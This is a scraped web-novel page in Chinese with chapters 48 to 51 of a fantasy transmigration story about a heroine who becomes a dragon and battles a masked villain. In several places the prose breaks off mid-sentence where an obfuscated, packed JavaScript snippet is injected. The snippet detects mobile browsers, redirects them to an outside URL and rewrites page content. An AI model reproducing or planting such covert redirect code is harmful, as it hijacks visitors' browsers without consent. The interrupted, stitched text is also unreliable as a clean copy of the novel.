因为所有人都只想到化龙之形,没人想到化龙之势。 ——化龙并非化形。 所以即便将龙形研究得再精准、再细致,也无法化龙。 想腾空而起还得有势。 龙不止形,还有势。 在世间这是一种虚无缥缈的说法,基本没人会信。 可这才是真相,即使没人相信。 齐云鲤率先领教过青滔和鼎山弟子的势,然后觉得可以顺势而为。 于是在穿书者之力再次冲向冥帝庙时,她的势就此起来。 毕竟幽冥大帝已经功法耗尽,无力再战。 眼下要是没人站出来,那幽冥大帝也就不复存在。 虽然她还不确定元真和幽冥大帝的关系,但很久以前两人大吵一架,为的可不是此刻烟消云散、灰飞烟灭。 她们吵的是小说漏洞跟这片天地的关系。 齐云鲤认为改好漏洞就再也没有问题。 元真觉得关键不在漏洞而在人,其实哪里都有漏洞,但并非全都一团糟。 有些地方即使漏洞百出,也能不出大事。 有些地方纵使完美无缺,也令人焦头烂额。 最初看《长夜道枯》是因为齐云鲤觉得小说有点眼熟,但越看两人的矛盾越明显,等小说断更时就快彻底爆发。 穿书之后齐云鲤为缓解关系,一时百依百顺。 可是等元真能去千溪镇时,矛盾彻底爆发。 小说里那是个完全没好事的地方,于是齐云鲤千叮万嘱让元真小心。但元真说她跟鼎山弟子一起下山,不会有事。 话已至此,齐云鲤还在强调各种注意事项,所以元真跟她大吵一架。 吵完之后元真去千溪镇无事发生,齐云鲤更加无话可说。 两人关系彻底僵住,即使同处一室也隔得很远。 最后小说男主邀请齐云鲤一同前往千溪镇,她便接受此事,也许过去一趟就能化解自己跟元真的矛盾。 后来矛盾确实化解,不过齐云鲤已经死了。 眼下发现元真说的确实有道理,就算千溪镇再怎么千疮百孔,她就不信还打不了面具人。 原本虚无缥缈的化龙准备在此刻发挥作用。 数百年都没人做到的化龙,在天崩地裂的千溪镇却能成真。 真龙飞上苍穹带起的磅礴之势令所有人都目瞪口呆。 之前有人说幽冥大帝也算龙,众人只觉得是在说笑,谁都没想到冥帝庙竟然真的会飞出一条龙。 那条龙不同于图片上的龙形,而是有种势不可挡的感觉。 世间麻烦越来越多,但那条龙腾空而起,众人就觉得再多麻烦也不敌不过一声龙吼。 那声吼叫犹如金戈铁马,能荡尽世间一切纠纷。 这时他们才发现真正的龙让人震撼的不是形,而是势。 有形无势就只是纸上图画,再像也飞不上天空。 真龙直冲云霄,将仙子林那边过来的穿书者之力撞得粉碎。而且这个撞击反而让千溪镇安定下来,之前感觉命不久矣的人都开始奋力逃离。 眼下真龙都已出现,那么千溪镇必然沦为废墟。 那条龙飞到仙子林上空便与一条蛟缠斗起来,一时间四周都不免坍塌。 仙子林无法破坏的阵法在打斗下也只能破碎,原本千溪镇个别地方还有冤魂亡灵出没,但一龙一蛟在天上厮杀,闹得所有鬼怪纷纷逃离。 他们只是心有不甘,又不是不想活,即使早已命丧黄泉。 面具人和万千修道人士一样,都想化龙。 虽然从始至终就没人成功过,但他觉得自己可以,因为这小说就是他写的,即便有别人的创意。 但来到此地,他始终无法化龙。 他跟世间数不尽的修道人士一样,潜心研究龙形,可依然只能妄想。 如今他在千溪镇施法布阵,只为给卫池致命一击。又是鼎山灭门惨案,又是亲生父母惨遭毒手,就不信小说男主还能若无其事。 更何况四周还有鼎山弟子,又不止他一人。 眼看就要成功,谁知已跟他打过千百次的青湖冒出来掀翻场子。 他准备良久还不如那人随手一击,气得面具人跟她打起来。 两人打得天翻地覆,面具人放出穿书者之力,马上就能将方圆百里夷为平地。 结果竟然有真龙从冥帝庙飞出来打他。 面具人苦心经营近百个轮回,都无法化龙。 岂料莫名其妙就有别人成功化龙,他只能化形为蛟跟真龙打起来,当然实际是从各个角度观察龙形。 一龙一蛟越打越凶,但始终没有拉开距离。 那就仿佛是天上两抹流云,彼此缠绕,越来越分不清彼此。 只是在此期间,那条蛟被打得都快断气。 天上打得波澜壮阔时,鼎山弟子正在千溪镇紧急转移当地百姓,可动作再快也快不过远处打斗。即便用阵法转移,也只来得及疏散一半人口。 眼看千溪镇的房屋就要悉数坍塌,情急之下李宜敏掏出一个卷轴说:“送到这里吧。” 那是丹青宝卷,可之前在秘境长老手里。 “你怎么拿到的?”宋安合完全想不通,秘境长老把这卷轴看得无比珍贵。 李宜敏翻着白眼说:“我说此地凶多吉少,多个准备就是多份保障。之后鼎山弟子必定感谢他的大恩大德,把鼎山秘境打扫得干干净净。” 这当然是假话,吉凶之事鼎山没人会问她。 秘境长老自然知道真伪,不过这么多年来秘境被搞得一团糟,谁都不去打扫。如今只要交出丹青宝卷就能获得一批吃苦耐劳的劳动力,当然是好事。 “没人说过那种话……”宋安合皱起眉头,鼎山秘境错综复杂,没人愿意自讨苦吃。 “人命关天,别挑了,”李宜敏将丹青宝卷塞给他,继续说,“不过你们还是施法布阵做好准备吧。” 宋安合拿到卷轴便没有继续纠结,鼎山弟子多次进入丹青宝卷,已经将荒野里很多问题都解决,但还是无法保证完全没事。 老百姓进入丹青宝卷,最好还能及时联系荒野里的舞女。 因此宋安合先进去施法叫来舞女,然后说之后可能会有人通过这种途径联系她,到时候一定要及时赶过来解决问题。 舞女没说一个字,宋安合也不知道她听懂没有,只能说还要再做准备。 于是吴明便率先进入丹青宝卷荒野,随时观察动向,一旦出事就看他跟舞女谁的动作快。 之前被面具人附身时,吴明在荒野里来回游荡,所以对那边的地形已经相当熟悉,即使无法明确具体位置,但基本方位还是能清楚。 其他鼎山弟子全都出去叫人,一边施法让声音四面八方传开,一边跑过去看有谁需要帮忙。 之后便有千溪镇百姓陆陆续续赶过来,平日里人烟稀少的地六镖局一时人挤人。 天上打斗还在继续,鼎山弟子便施法布阵挡住突如其来的攻击,虽然时不时会有攻击余波飞过来,但阵法基本还是能挡住。 另外就是花芙和苗安守在地六镖局外墙那边,有东西飞过来他们就先动手。 虽然看起来惊涛骇浪,但是冲到眼前就不过如此,他们也不清楚是怎么回事。 其他地六镖局内部的人和妖精全都在帮忙转移。 还有鼎山弟子不停将丹青宝卷情况告诉千溪镇百姓。 那些人原本就熟悉这种事,这时听到自然明白其中关键。 于是所有人都顺利进入丹青宝卷避难。 就在这时一龙一蛟直接飞到地六镖局上空打起来,千溪镇其他地方差不多被夷为平地。镖局众人全都看到这一幕,只见被打的虽然是蛟,但真龙始终无法摆脱纠缠。 两边一个被打一个被缠,也不知道谁胜谁负。 卫池从外面冲进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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人炉之火能燃烧一切,自然就能削弱千溪镇方向的攻击。 剩余攻击冲到千溪镇,又被冥帝庙挡住一部分。 最后冲到地六镖局外围,先由血阵抵挡,然后被花芙和苗安破坏。 因此千溪镇老百姓才有机会从地六镖局进入丹青宝卷。 当其他所有人都进入丹青宝卷,卫池也就没必要再施法布阵。 天上打斗再凶,也不能直接伤到自己。 反倒是那条龙更危险,因为看起来是蛟在被打,但实际上在消耗化龙之人的功法。 蛟无法战胜龙,但是可以将化龙之人拖下水。 化龙之人再强悍功法也有限,一旦功法耗尽,战局可能瞬间逆转。 在天上厮杀的齐云鲤也意识到这件事,蛟在龙面前毫无还手之力,但自始至终都没有逃离。 感觉面具人在等待一个时机。 她也不清楚那个时机何时会来,只能先下手为强。趁自己还能打就多打几下,免得面具人恢复太快。 因此等天上一龙一蛟无力再战时,一边功法耗尽,一边皮破肉烂。 卫池知道面具人必定不会白白挨打,后续肯定有招。 所以他率先打开阵法防护,以免真龙被偷袭。 就在双方分开时,一把长刀出现在真龙上空,然后挥刀而下。 真龙精疲力尽,早就无力抵挡。 不过有防护阵法乍然闪现,而且劈烂一个还有一个,等长刀劈砍而下的势头停止时,刀刃恰好停在真龙上方。 即使离得再近也没能砍中头颅。 挡住攻击的卫池基本已经气力耗尽,而且周身全是血口。 幸亏天上的蛟见偷袭失败就烟消云散,真龙顺势砸到地上,本就坍塌破碎的千溪镇在重压下彻底沦为废墟。 其实化形有个问题,就是化形之人能否变回人。 若是原形无法恢复,那么之前的人也就此消失。 想必化龙也一样,保持龙形极其消耗功法修为,若是没能及时变回人形,最终可能灰飞烟灭。 当前那条真龙显然已经没法变回人形,卫池也找不到办法。 因此只能尽快弥补消耗的功法修为。 “赶快飞回鼎山禁地!”他大喊一声,使出残余功法让真龙不至于倒地不起。 真龙在卫池帮助下,驮着他腾空而起,飞向鼎山。 49. 化龙 鼎山地处偏远,下山行走一整天都看不到半个人影。鼎山弟子大多家境贫寒,备受龙息压迫,实在找不到出路才拜入鼎山门下。 因此鼎山在世人眼中的形象绝对清苦。 修道门派通常有不少锣鼓喧天、热闹非凡的仪式,但鼎山除外。 勉强还算盛大的龙骨论战不对外开放,获胜者奖品也不值几个钱。 所以只有普通百姓那边鼎山还受欢迎,修道人士则不想理会那个从来不出钱的地方。 然而飞龙在天,直冲鼎山,这是所有修道人士都发现的事。 世间想化龙之人不计其数,可谁也无法成功。 眼下竟有真龙飞向鼎山,这都是前所未有的。 千溪镇外的三渺宗当然也发现这件事,众人又是兴奋又是惶恐。 真龙现世,但是却飞往鼎山方向。 “那是龙吧?”姜凝大声询问,之前千溪镇那边地动山摇,他们施法布阵才勉强稳住局面,没想到竟然有龙出现。 谭明诗皱眉远眺:“看起来是飞往鼎山。” “此地没有可化龙之人。”之前跟鼎山弟子叫板的青年说。 谭明诗说:“或许铭祖可以,我们正是为此而来。” 这句话足以见得铭祖在三渺宗分量。 不过有人否定:“不,我还不行……” 路边走来一个长相儒雅的男子,神情疲惫,看上去仿佛耗尽所有气力。三渺宗以外的人还敢光明正大走过来,可见身份特殊。 他就是三渺宗人口中的“铭祖”。 此人一身深灰长袍,上面还有白色龙腾纹样,举手投足间颇有真龙之姿。 原本他是三渺宗人心中最可能化龙的人,但此时飞上天的龙不是铭祖。那人站在桃花印记的布帘下,显得格外虚弱,仿佛花朵是在掠夺生机。 之前消耗完真龙气力就挥刀砍下,谁知却被层层叠叠的阵法挡住。 被真龙打得皮开肉绽的面具人实在没力气悬空,只能落地变回人形——也就是三渺宗嘴里的铭祖。 他苦心经营那么多轮回,结果被人抢占先机。 如果脾气差,气都能气死。 眼下那条龙飞往鼎山,那么他绝对不能放过。 铭祖憔悴地说:“真龙飞往鼎山,我们还是跟过去看看吧。” “你看起来很虚弱,是否要先休息一下?”青年肖天阳问。 他们三番五次来此,也是要留意铭祖状态,不然随时可能出事。 “我已经休息过,不会有事。”铭祖轻声说。 姜凝还是问:“刚才那是有人化龙?” 此事在她看来太过匪夷所思,三渺宗研究龙形数十年也无法成功,结果有人莫名其妙就成功化龙。 铭祖无奈地说:“是鼎山中人成功化龙。” 这是众人都无法接受的事,但铭祖都承认此事,他们也无可奈何。 化龙是件也许能让天下重获新生的事,但三渺宗人想的只有身份问题。 化龙之人不属于三渺宗,这就天理难容。 这句话一出,众人瞬间就有点垂头丧气。 “鼎山中人都资质平平……”姜凝有点不服气。 肖天阳说:“也许你连资质都没有。” “说什么呢?!” 两个三渺宗人大吵起来,他们平日就不和,这时更恨不得动手。 吵起来其他人也不敢阻拦,只能防止双方动手。 谭明诗并未掺和此事,只是问:“我们过去干什么?” “修道人士必定都发现此事,不能让他们乱闯鼎山。”铭祖说。 说到这个地步,谭明诗就明白是怎么回事。 化龙之人不属于三渺宗,但化龙后的局面必须有利于他们。 各路修道人士从四面八方赶过去,局势就会相当复杂。 可是上山之前先安排好一切,就会顺畅很多。 铭祖吩咐:“抵达鼎山后,你们要装作不认识我。” “那我们能以三渺宗的名义过去吗?”谭明诗问。 鼎山和三渺宗虽然都是名门正派,不过彼此关系不和。 虽然没仇,但互相看不顺眼。 “不用强调,也没必要遮掩。”铭祖停顿一下才说。 意思就是不宣传也不否认,顺其自然就行。 于是三渺宗人便等在鼎山山脚,一旦有外人过来,他们便以商量之名暂缓对方脚步。 他们原本就有八个人,接连停下来的人逐渐增多,远远望去鼎山山脚便聚集着一大群人。 之后再有人前来,见他们人多势众,再急也会停下来看看。 山脚的人越聚越多,山上却乱成一团。 这天原本平平无奇,鼎山弟子只是很普通的日常修炼,谁知午后突然狂风大作,竟有一条真龙降落在鼎山禁地。 真龙背上还有卫池,他掏出丹青宝卷就说其他人都在里面。 鼎山禁地素来没有人烟,丹青宝卷在禁地也许会受到影响。 因此赶来的鼎山弟子马上将丹青宝卷转交秘境长老,秘境长老也不清楚有什么变化,便进去一看。 结果他进去就发现里面的人不是一般多,荒野里有成百上千平民百姓,还有人跟九游仙姬在吵架。 九游仙姬原本只是允许鼎山弟子进丹青宝卷修炼,谁知突然出现一大堆平头老百姓,鼎山弟子还因此把荒野里的妖精全都打一遍。 妖精去仙府找她告状,谁知九游仙姬出城就跟人吵了一路。 修道人士大多寡言少语,因此她之前没怎么跟人吵过。结果这时从始至终都在吵架,吵赢一个又冒出来一个,源源不断、无休无止。 吵到最后她发现远处出现鼎山长老,冲过去就打起来。 ——不能打平民百姓,还不能打修道人士? 秘境长老莫名其妙就被打一顿,由于下手不重不会要命,因此也不好还手。毕竟他只会下死手,后果可能很严重。 九游仙姬很气:“来这么多人是干什么,难道想侵占此地?!” “真龙在千溪镇大打出手,这些都是当地百姓,”宋安合及时说明,“那一带差不多夷为平地,他们只能进来躲一下。” 这就说出一件天大的事——真龙现身。 可真龙已在世间消失千百年。 “……真龙?”九游仙姬一时难以置信。 宋安合又说:“青湖师叔化龙跟人在千溪镇上空打起来。” 真龙是人化龙而来,并非原本就是龙。 但是能化龙,也就证明龙并未彻底消失。 对修道人士来说,这是天大喜讯。 ——毕竟龙就是生机。 “赢了吗?”九游仙姬很久才问。 宋安合低头一叹:“虽然赢了,但后果有点严重,她无法变回人形。” 成功化龙已是天方夜谭,之后变回人形就是痴人说梦。 九游仙姬皱起眉头:“那得及时补充功法,不然……” “已经去鼎山禁地。”宋安合赶紧说。 九游仙姬不禁有点急:“禁地龙息只会将她看作化龙之人,不是龙。” 秘境长老一脸震惊,龙息会压迫真龙以外的一切,现在去禁地就是找死。 已经来到禁地的真龙没有得到应有恢复,反而被龙息压迫,眼看更加虚弱。 卫池作为唯一的随行人员,马上发现异常。 按理来说龙息是会帮助真龙,但这时的龙息却是在压迫真龙。 还是说龙息知道这条龙并非货真价实? 在龙息压迫下,本就虚弱的真龙几乎奄奄一息。 当下卫池也来不及找其他办法,只能拔出龙骨剑插在真龙旁边。 那是万仞山龙骨剑,非人力打造。 即使龙息不接受这条龙,也该接受那把龙骨剑。 幸亏他想得没错,龙息动荡一段时间后就安定下来。 之前齐云鲤将平安符交给他,眼下卫池用龙骨剑发挥平安符之功,也算礼尚往来。 禁地龙息安定下来,真龙总算获得一些恢复。 这里安静下来,但外面却吵翻天。 丹青宝卷不适合普通人停留,因此不少人出现身体不适。李宜敏和陆顷己便带着一群鼎山弟子合力救治病人。 而且为了让老百姓看懂,所有人都在使用医药。 其他人也顺势离开丹青宝卷,可是虽然有秘境供他们休息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143783|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但里面脏乱差到一定程度,千溪镇老百姓只好开始大扫除。 他们打扫半天累得够呛,孙峥湖只好过去不停劝说。后来他还编出一堆故事,仿佛是在说书唱戏。 其他鼎山弟子也只得跟着一起打扫秘境卫生。 从始至终都没人打扫过的秘境不久之后也干净得难以想象。 眼看所有秘境都被打扫一遍,秘境长老只觉得之前那顿打没白挨。 打扫完卫生,众人问起千溪镇的事,虽然当地百姓大致说得没错,但细枝末节越说越玄乎。 最后说得真龙都是幽冥大帝所化。 化龙之人鼎山已经确定,所以没必要再纠结这个问题。 只不过当地百姓基本都在强调幽冥大帝,之前那边地动山摇,是幽冥大帝大显神通才挡住天崩地裂。后来又有人打千溪镇,幽冥大帝便化龙跟对手打起来。 说半天全都在夸赞幽冥大帝,自从那个冥帝庙出现,千溪镇就明显安定下来。原本幽冥十二泉有很多孤魂野鬼,但估计慑于幽冥大帝威名,从那以后他们也不敢肆意妄为。 因此一个人人自危之地变得风调雨顺,还时不时有外地人过来。 这在以前想都不敢想,眼下却变成现实。 之前有人要摧毁千溪镇,也是幽冥大帝出手,号令附近鬼怪冲出去抵挡攻击,最后自己化龙冲到仙子林上空打起来。 因此除了夸赞实在没什么好说的。 老百姓都在赞扬幽冥大帝,但在旁边帮忙的孙仲礼却相当困惑,因为他知道化龙之人是齐云鲤。 千百年来都没人能成功,怎么她一朝登顶? 虽然故事里穿书者往往有逆天改命的桥段,但是跟她相比实在算不上什么。 那些大多只是改变个人命运,可她直接扭转局面,救下成千上万条命。 孙仲礼就是对此抱有疑惑,所以跑过来积极干活,想听听当地百姓怎么说。谁知他们全都在说幽冥大帝,没人留意齐云鲤。 之前他认为云中鲤鱼还能有什么,感觉名字有点狂妄自大。 谁知眼下齐云鲤当真化龙,还真就是云中鲤鱼,也就是龙。 这就比小说都离谱,似乎一句戏言也变得货真价实。 孙仲礼完全想不通怎么会发生这种事,但事实就在眼前,他也无法否认。 原本鼎山还在焦头烂额,幸好煅剑城那边就很快派人过来。 严岐带着大量物资出现,那些东西都堆成几座小山,而且还说如果有需要,后续还能继续送过来。 鼎山弟子被煅剑城的财大气粗所震撼,不过严岐只是问化龙之人在哪里。 众人指着禁地,都说化龙之人还没恢复。 事已至此严岐也不好过多干涉,只是说恢复过来就马上通知煅剑城。 鼎山秘境只能稍作休息,不能长期居住。 所以鼎山弟子就下山开发附近荒野,一旦遇见妖精,不是吵一架就是打一架。 最后又是孙峥湖过去劝说,让两边都冷静点,如今有人成功化龙就是天地重获新生,没必要再计较那些小事。 不如将附近弄成宜居之地,老百姓在此居住也能给妖精带来好处。 大家彼此合作总比又打又吵的好,他虽是狐妖,但也能在鼎山怡然自得。所以山脚的妖精和平民百姓,没必要你死我活。 妖精都清楚他的狐妖身份,见他态度温和也就不再计较。 于是千溪镇百姓便在鼎山脚下安顿起来。 虽然三渺宗在鼎山下面守着赶过来的修道人士,不过他们早就在远处搭了一个棚子,还挂上桃花印记布帘。 反正鼎山四周都铺设阵法,一旦发现有外人靠近,他们就过去迎接。 前后忙了好几天,始终也没有修道人士上鼎山,孙峥湖便觉得有点诡异。 为了稳住局面,他已经想好三套说辞,结果空无一人。 这当然不是好事,孙峥湖觉得事情有点严重。 他在那边唉声叹气,冬青就让孙峥湖变回原形,抱着狐狸望向鼎山禁地。 禁地龙息之前有些躁动,她还以为自己能趁机出马,谁知转眼又安宁下来。 实在想不通是怎么回事,她只能抓着狐狸出气。 50. 九炼洞窟 天下与化龙相关的传说数不胜数,估计由于始终没人成功,所以最后都变成化龙之人不得好死。既然其他人无法成功,那么成功者死路一条。 ——没成功其实能保命。 这种说法问世,即使不能化龙,修道人士心里也能好受些。 齐云鲤想过背后种种,感觉那只是用来咒人的方式,但实在没想到会再次看到青湖。受害者遇到杀人凶手还能有什么好事? ——而且还不是幻影。 眼下已经离开千溪镇,仙子林阵法再也不能起效。 四周明显是个洞窟,环境都完全不一样。 她在千溪镇意识模糊,清醒时就发现身处山洞。 齐云鲤感觉自己已经入土为安。 可纵使知道青湖认错人,才痛下杀手,但剑锋划开血肉的感觉犹在眼前。 再怎么假装也作不出若无其事的模样。 因此她直接凭空锻造出长剑,向青湖砍去。 青湖也凭空锻造出长剑跟她厮打起来。 不过青湖的肉身已经化龙,齐云鲤的肉身早就灰飞烟灭。 脱离躯体的双方其实都只是一缕魂魄,但这时打得仿佛血肉横飞。 周围一切事物都在剑锋下瑟瑟发抖,毕竟两把剑都是货真价实的削铁如泥。 人没有肉身,可是剑只有肉身。 两个魂魄拿着剑在洞窟里大打出手,差不多将周遭一切都砍碎。 如果那地方空无一人就还好,但其实还有不少人。 所以打着打着,耳边突然传来一个声音。 “冷静点,有话好好说。” 那人说完还叹口气,听起来格外耳熟,齐云鲤转眼一看就发现是菩提慧海。 之前他说跟青湖都在干活,她还以为是胡说,没想到真在同一处。 再转头一看,远处躺着个身形狭长之物,上面覆有密密麻麻的鳞片,犹如冬青的甲胄那样泛着精光。 曾经冬青让她化龙,之前自己的确化龙,现在又看到一个貌似龙形的东西。 齐云鲤停下用剑的手,彻底愣住:“那是什么?” 化龙一事怎么还没完没了? “那是龙,没有它你就无法化龙。”青湖说得无关紧要,她迅速转换状态,从之前的搏杀变成眼下的闲来无事。 真龙已从世间消失数百年,谁也找不到它的踪影。 可当下竟然毫无防备躺在那里。 按理来说动起来才算龙,静卧在此实在难以想象。但那身躯却有些微起伏,要说静止不动又确实动了一点点。 齐云鲤完全忘记打架,只是更加迷惑:“还在睡觉?” “从来就没醒过。”青湖似乎有点嫌弃。 货真价实的龙停在洞窟里休息,此时出现在同一处的只会是相关之人。 但青湖看起来完全不想跟龙有关。 事情太过匪夷所思,但一路走来似乎又显得顺理成章。 齐云鲤十分疑惑:“那你在干什么?” “让它快点醒。”青湖说得很勉强。 齐云鲤很怀疑她的态度:“……有效吗?” “化龙效果挺好,现在已经能翻身,之前纹丝未动。” 这话说得能翻身都算好转,仿佛就快死透。 菩提慧海实在有点听不下去:“好好说话……” 齐云鲤闻言看了看那条龙的身躯,依然只能勉强看出些起伏。 “……化龙还能帮它?”她只能这么问。 化龙有助于真龙恢复,这都闻所未闻。 化形只是借势,要是没有势头,那就是一场空。 化龙虽然不是化形,但差别也不会这么大吧? 仿佛两条龙冥冥之中还能相互感应,从而减轻负担。 想到这里,齐云鲤发现她化龙之后没过多久便累得不能动弹,那种状态正跟眼前这条龙一样。 她不禁问:“它要是死了,我也不能活?” 青湖毫不在意地宣布:“你早就死了。” 之前石月观音还说她命悬一线,结果青湖说她早已入土,态度还仿佛只是一件小事。 “死人还能化龙?”齐云鲤实在不能接受。 青湖伸手一指:“不然他找你干什么。” 被指的菩提慧海也不否认,只是无奈叹息。 毕竟他对被人抹黑已经习以为常。 “他找我只是为了化龙?”齐云鲤看向菩提慧海,对方在摇头。 “难道还指望你一决胜负?”青湖说得有点嘲讽,“你赢过吗?” “……难道我没赢?” 齐云鲤更加想不通,一路过来都是她打退面具人,千真万确。 “估计他现在都已经逼到鼎山,你赢什么?”青湖不屑一顾。 这么一说事情就复杂了,面具人虽然一直败退,但他的势力离鼎山越来越近。 从局部来看是齐云鲤赢,可整体局势上显然是面具人占优势。 齐云鲤实在没想到还有这种差别。 她哑口无言,最后只能说:“反正你也没赢。” “你到九炼洞窟就是我赢。”青湖郑重宣布。 据说九炼洞窟与秋容女仙有关,相当阴森诡异。 天下没人去过,但是不妨碍人们将那里越说越玄乎,最后差不多变成万恶之源。普天之下的邪魔歪道全都出自那里,从秋容女仙开始就没停过。 以至于有人用这种说法来止小儿夜啼。 “……这里是九炼洞窟?”齐云鲤担心地四处张望。 青湖却说:“这里是乱葬岗。” “别听她胡说八道,这里是九炼洞窟。”菩提慧海实在听不下去。 他原本是想摆脱没来由的抹黑。 结果齐云鲤说:“九炼洞窟不是比乱葬岗还差吗?” 乱葬岗好歹都是死人,九炼洞窟里藏着什么就不清楚。 世人说那是秋容女仙老巢,还说她以此给修道人士致命一击。虽然最终将她降伏,但付出的代价相当大。 去乱葬岗顶多就是死,去九炼洞窟可能求生不得求死不能。可怕得都不敢细想,所以那条龙才会呆在这里奄奄一息。 “所以这破烂地方我才不想来。”青湖嫌弃道。 她的态度证明此地就是九炼洞窟。 齐云鲤无可奈何接受这件事,东张西望后发现远处还站着几个人。 那几个人是青年模样,但神色都像稚儿,只是怯生生望过来。 她完全想不到还有这种事,仿佛荒郊野外藏着几个幼童,但那几人明显已经成年。 而且他们似乎见这边有所争执,所以不敢靠近。 “他们又是谁?”齐云鲤问。 菩提慧海客气地说:“传说中降伏秋容女仙的那几个修道人士。” “他们还能降伏秋容女仙?”齐云鲤完全不信。 感觉现在说话声音大点那几个人都会逃跑。 “曾经可以,现在不能。”菩提慧海解释。 青湖嫌弃地朝那边看过去:“从始至终都不能。” 被怪罪的那几人没有反驳,依然只是抬头张望。 她从始至终都不好好说话,于是齐云鲤问:“难道秋容女仙还活着?” 青湖指着菩提慧海:“他就是秋容女仙。” “秋容女仙不是女的吗?”齐云鲤觉得这都已经天方夜谭。 “化龙之人都得死,秋容女仙是男的也顺理成章。” 菩提慧海实在忍无可忍就一掌把青湖打到远处,她趴在地上,站着的那几人就过去伸手戳她的背。 他突然动武实在让人意想不到,不过那边青湖又挥手让旁边几个人远点,显然没事。 齐云鲤想到自己化龙用的是青湖躯体,那么她现在差不多就是金光不坏的状态。 如此看来,菩提慧海打她一下也没什么大不了。 不过她想起化龙之后自己就明显虚弱,虽然看起来是在分担九炼洞窟里龙的不适,但那边情况比较恶劣,估计都撑不了太久。 于是齐云鲤问:“化龙以后奄奄一息还有救吗?” 她只想过化龙之后该怎么活,没想过化龙以后会怎么死。 菩提慧海转头问青湖:“你的抱仙果呢?” 抱仙果是一种稀有之物,是修道人士炼化自身修为而来。只不过抱仙果一出,修道人士必死无疑。 因为这其实就是修道人士的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148355|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 炼化人炉是外人施法,迫使人炉得出功法。 抱仙果却只能自己施法自己死,所以是一种以命相托。 得到抱仙果的人必须完成他人遗嘱。 青湖有抱仙果就证明有人以命相托,让她完成一件事。 齐云鲤突然想起之前在青湖床底发现一颗无色透明圆球,里面有丝丝缕缕白烟,看起来正像是云烟缭绕的功法。 青湖趴在地上没动,只是说:“在床底下,自己去找吧。” 化龙以后若是使用抱仙果,必能保住一条命。 不过眼下齐云鲤根本去不了鼎山,知道有救命神药也没用。 她面色愁苦,菩提慧海却说得很肯定:“我通知龙息去办这件事。” 能办事的龙息齐云鲤只能想到冬青。 “……你认识冬青?”她很不可思议。 菩提慧海说:“她是鼎山龙息。” 这句话很理所当然,可鼎山都没几个人知道,他又怎么知道? 齐云鲤觉得他跟鼎山暗通款曲也不太可能,但这件事的确是机密。 最后她联想起鼎山禁地龙息以及不远处的龙。 二者可以毫无关系又能紧密相连,还顺理成章。 “这儿到底是哪里?”齐云鲤眉头紧锁。 菩提慧海转头看向那边几个人,见他们都在点头,便说出真相:“走出这个山洞就是鼎山禁地。” 齐云鲤目瞪口呆,很久都没反应过来。 普天之下最为恐怖的九炼洞窟竟然就在鼎山后山。 鼎山禁地龙息果然与此地真龙相关,只是没想到鼎山居然跟九炼洞窟有关。 “怎么会这样?”她实在想不通。 之前看小说感觉鼎山光明正大、不可动摇,即使这边有波动,也不至于天翻地覆到这个地步。 这不就是名门正派其实也是邪魔歪道? “九炼洞窟那个名字是后来改的,此地原本叫三清龙庭。”菩提慧海解释。 三清龙庭是跟世间真龙一样遥不可及的存在。 相传世间真龙还在的时候,除了无根海还有一个地方供它们休息,那就是三清龙庭。 真龙在无根海里需要随水波而动,不过在三清龙庭里可以彻底休息。 无根海只是龙的宜居之地,三清龙庭才是真龙能彻底休息之处。 真龙在三清龙庭才能完全停下来,因为三清龙庭本身就在动,据说是随着天地一起摆动。 所以龙在三清龙庭里从始至终都跟着一起动。 齐云鲤不明白:“怎么要改名字?” “不改名字的话,来的人太多太杂,龙都不能好好睡。”菩提慧海无奈叹息。 问题太多,齐云鲤需要时间来缓一下,她总算明白为什么青湖趴那里就不再动。 乱七八糟的事情太多,她也不想动。 于是等菩提慧海用龙息通知冬青时,齐云鲤就睡在角落里的软榻上。 事情太过错综复杂,她暂时不想管。 冬青从龙息中获得消息,就去玄镜池找抱仙果。 当她拿着抱仙果去禁地时,鼎山弟子还在山脚帮老百姓盖房子。 禁地龙息压迫很重,不过冬青就是龙息,完全不受影响。 她望见雪地里有人在练剑,不远处的红梅因此更加浓烈。 不禁感慨那才是龙骨剑。 卫池练剑途中发现有人靠近,转头一看竟是那个彩衣女子。上次她抱着狐狸坐在飞泉院旁边,这次居然直接走到禁地来。 禁地龙息压迫对任何人都是负担,她看起来柔弱无力,居然完全不受影响。 而且冰天雪地之处,她衣裳单薄也毫无压力。 卫池瞬间就发现此人不简单,等她拿出一个透明圆球,他更是有点震惊。 ——因为那是抱仙果。 抱仙果是比人炉之火还罕见的东西。 毕竟是拿自己的命作委托。 “这是鼎山的,快用吧。”冬青只是说。 她的声音很轻很柔,可这时出现在禁地就仿佛是一道剑影。 卫池接过抱仙果才问:“你是什么人?” “我是鼎山龙息。” 51. 生机 世间有修道人士喜欢将其他事物变为人形,不过化形前后往往都比较简单。 想变出的形态越复杂,化形就越难。 化出人形十分艰难,因此能化形为人的妖精修为明显很高。寻常妖精顶多只是能直立行走和口吐人言。 龙息乃世间极其玄妙之物。 要让龙息化形为人,普通修道人士根本做不到。 冬青第一句话就让卫池知道所言非虚,说话犹如刀光剑影,绝不寻常。 因此他问:“此乃掌门所为?” 鼎山掌门虽然极少露脸,但修为功法是天下一等一的高。 